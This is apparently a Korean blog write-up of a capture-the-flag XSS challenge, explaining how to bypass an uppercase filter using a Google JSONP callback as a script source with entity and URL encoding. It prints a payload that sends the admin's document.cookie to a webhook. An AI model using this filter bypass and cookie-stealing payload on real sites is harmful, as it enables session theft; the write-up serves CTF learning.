문제 정보입니다.
문제 화면입니다.
XSS 1 문제와 동일하게 구성되어 있습니다.
메모 페이지에서 스크립트 태그를 넣어서 실행되는지 확인해줍니다.
입력 값을 모두 대문자로 바꿔줘서 스크립트 태그 안에 있는 함수들이 실행되지 않습니다.
이 문제의 핵심은 sciprt와 src는 대소문자 관계없이 정상적으로 작동한다는 점 입니다.
이를 우회하기위해 JSONP에 사용되는 src 중 하나인
https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)
을 사용해 주겠습니다.
이걸 그냥 넣으면 대문자로 나옵니다.
이 때 사용되는게 HTML Entity Encoding 입니다.
엔티티 인코딩해줘서 넣어주면
페이로드가 사라집니다.
중간에 들어가는 & 문자 때문인 것 같습니다.
이를 해결하기 위해 URL 인코딩을 해주겠습니다.
인코딩 해준 뒤 src에 넣어주면
스크립트를 실행할 수 있습니다.
이제 웹훅으로 admin의 쿠키 값을 탈취하는 페이로드를 작성하겠습니다.
기본적인 구조는 아래와 같습니다.
https://accounts.google.com/o/oauth2/revoke?callback=location.href='웹훅주소?'+document.cookie;
여기서 +document.cookie는 파라미터로 인식하지 않도록 URL 인코딩을 해주어야 합니다.
그렇게 되면 아래와 같이 바뀝니다.
https://accounts.google.com/o/oauth2/revoke?callback=location.href='웹훅주소?'%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65;
위 코드를 엔티티 인코딩 해준 뒤 URL 인코딩하여
report 페이지에서 값을 전달해주면
웹훅에서 플래그를 확인할 수 있게 됩니다!
'write-up(web) > G04T' 카테고리의 다른 글
[G04T] Simple XSS 1 (0) | 2022.09.10 |
---|---|
[G04T] Simple SSRF 2 (0) | 2022.09.08 |
[G04T] Simple SSRF 1 (0) | 2022.09.07 |
[G04T] Simple XXE 3 (0) | 2022.09.02 |
[G04T] Simple XXE 2 (0) | 2022.09.01 |